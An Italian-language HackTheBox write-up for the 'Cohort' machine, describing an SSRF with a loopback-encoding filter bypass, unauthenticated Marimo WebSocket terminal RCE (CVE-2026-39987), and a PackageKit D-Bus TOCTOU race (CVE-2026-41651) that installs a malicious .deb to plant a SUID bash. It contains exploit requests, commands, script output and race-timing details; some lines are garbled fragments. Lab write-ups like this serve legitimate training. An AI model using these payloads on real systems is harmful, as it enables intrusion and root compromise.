
HTB Cohort - SSRF, RCE pre-auth di Marimo (CVE-2026-39987) e privesc tramite PackageKit (CVE-2026-41651)
Macchina Cohort (HackTheBox). Catena di attacco completa:
/api/validate) → scoperta di vhost internimarimoLe flag non sono intenzionalmente incluse (regole HTB).
10.129.93.8 cohort.htb
/api/...)nb-1be3782a8afd3ad5.cohort.htb), non esposto esternamenteL'app esponeva un endpoint di validazione URL che recuperava contenuto remoto e lo rifletteva. Il filtro URL poteva essere aggirato codificando l'indirizzo di loopback:
POST /api/validate HTTP/1.1
Host: cohort.htb
{"url": "http://127.1:80/status"}
Questo colpiva l'nginx interno e rivelava gli upstream configurati, incluso il
vhost Marimo interno nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888.
Il gestore del terminale WebSocket del notebook di Marimo non validava l'autenticazione.
Connettersi a /terminal/ws avvia una shell bash tramite pty.fork().
Il vhost interno era raggiungibile attraverso l'nginx esterno inviando l'header
Host interno:
./scripts/marimo_shell.py 10.129.93.8
[+] connected to wss://10.129.93.8/terminal/ws host=nb-1be3782a8afd3ad5.cohort.htb
marimo@cohort:~$
Risultato: shell come marimo (uid 1000).
marimodpkg -l | grep -i packagekit → PackageKit 1.2.8-2ubuntu1.1pkcon / polkit corrispondono al pattern TOCTOU vulnerabileuser.txt in /home/marimo/user.txtPackageKit 1.2.8 presenta un difetto time-of-check / time-of-use: il ruolo e i
flag della transazione letti dal callback idle di GLib possono essere race inviando due chiamate D-Bus asincrone
sulla stessa transazione, così il backend privilegiato esegue la seconda chiamata (ruolo NONE,
nessun controllo di autenticazione) anche se la prima (SIMULATE) ha già superato il controllo
di autorizzazione.
Due chiamate vengono inviate consecutivamente sulla stessa transazione:
InstallFiles(SIMULATE=4) — supera il controllo di autorizzazione polkitInstallFiles(NONE=0) — trasporta il .deb malevolo, letto come parte dello stesso
batch di messaggiIl .deb malevolo esegue uno script postinst come root che deposita un bash SUID:
cp /bin/bash /tmp/.suid_bash && chmod u+s /tmp/.suid_bash
Dettaglio chiave: le due chiamate devono essere inviate insieme così il backend legge entrambi
i messaggi in un unico batch. Usare GIO async call() + flush_sync():
./scripts/cve-2026-41651_gio.py
[*] CVE-2026-41651 GIO exploit
[+] TxID: /org/freedesktop/PackageKit/Transaction/22/_c3e63a1a
[*] Racing: SIMULATE=4 -> NONE=0 ...
[*] Polling for SUID bash (60s)...
........................[+] SUCCESS: SUID bash at /tmp/.suid_bash
L'exploit iniziale usava python-dbus:
./scripts/cve-2026-41651_pydbus.py # ❌ race persa
python-dbus serializza le due chiamate InstallFiles in scritture separate, quindi il
callback idle del backend le elaborava come eventi separati e la race non si verificava mai.
Il flush_sync di GIO invia entrambi i messaggi D-Bus in un unico batch di scrittura → race vinta.
/tmp/.suid_bash -p -c 'id'
# uid=1000(marimo) euid=0(root) ...
/root/root.txt leggibile.
scripts/
├── marimo_shell.py # CVE-2026-39987 — WebSocket shell as marimo
├── cve-2026-41651_gio.py # CVE-2026-41651 — PackageKit TOCTOU (working, GIO)
└── cve-2026-41651_pydbus.py # CVE-2026-41651 — first attempt (python-dbus, race lost)